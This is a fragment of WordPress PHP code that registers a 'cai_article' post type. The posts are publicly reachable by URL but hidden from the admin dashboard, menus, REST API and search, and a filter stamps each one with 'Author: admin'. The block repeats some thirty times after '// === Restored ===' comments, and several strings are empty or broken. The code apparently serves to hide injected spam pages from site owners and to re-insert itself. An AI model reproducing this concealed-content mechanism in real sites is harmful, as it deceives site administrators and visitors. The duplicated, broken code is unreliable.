"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
